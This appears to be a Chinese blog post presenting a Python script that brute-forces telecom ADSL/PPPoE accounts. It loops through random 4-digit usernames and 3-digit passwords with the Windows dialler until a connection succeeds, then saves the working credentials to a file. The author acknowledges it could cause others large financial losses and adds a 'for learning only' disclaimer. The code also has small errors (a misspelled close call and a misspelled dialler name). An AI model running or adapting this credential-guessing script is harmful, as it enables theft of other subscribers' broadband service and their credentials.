• Python 基于python实现ADSL宽带帐号,密码的获取及宽带拨号


    基于python实现ADSL宽带帐号的获取及宽带拨号

     

     

    基本思想:

    1、研究上网方式(实验环境为电信网线接入式ADSL,拨号方式PPPOE)

    2、研究宽带帐号和密码生成规律(实验环境,宽带帐号为4个数字组成,密码为3个数字组成),发现帐号和密码都很简单

    3、通过python调用系统自带rasdia程序,进行拨号,如果成功拨号,说明该帐号有效则停止拨号(如果成功拨号,该号首次上网一个月内有效,如果持续探测,将可能造成其他方财产的大量损失)

    4、该程序仅用于学习,请勿用于非法用途,否则后果自负。

     

    源码:

    #!/usr/bin/env python

    # -*- coding:utf-8 -*-

     

    __author__ = 'laiyu'

     

    import os

    import random

    import time

     

    if __name__ == "__main__":

        not_found = 1

        while not_found:

            # 随机生成宽带帐号和密码

            username = str(random.randint(1000, 9999))

            passwd = str(random.randint(100, 999))

           

            # 宽带拨号

            cmd_str = "rasdia" + " " + "宽带连接" + " " + username + " " + passwd

            not_found = os.system(cmd_str)

            time.sleep(10)

           

            # 拨号成功,保存帐号密码

            if not_found == 0:

                file = open("d:\test.txt", "w")

                file.write(username+ "" + passwd)

                file.colse()

     

     

  • 相关阅读:
    mvcAPI (入门 2)
    mvcAPI (入门 1)
    IMetadataAware接口的特性定制Model元数据
    MVC 中DropDownList 用法
    MVC 中使用EF
    EF中限制字段显示长度
    EF 存储过程
    sql通用分页自定义表条件存储过程
    fffffffffff
    游标分页
  • 原文地址:https://www.cnblogs.com/shouke/p/10157866.html
Copyright © 2020-2023  润新知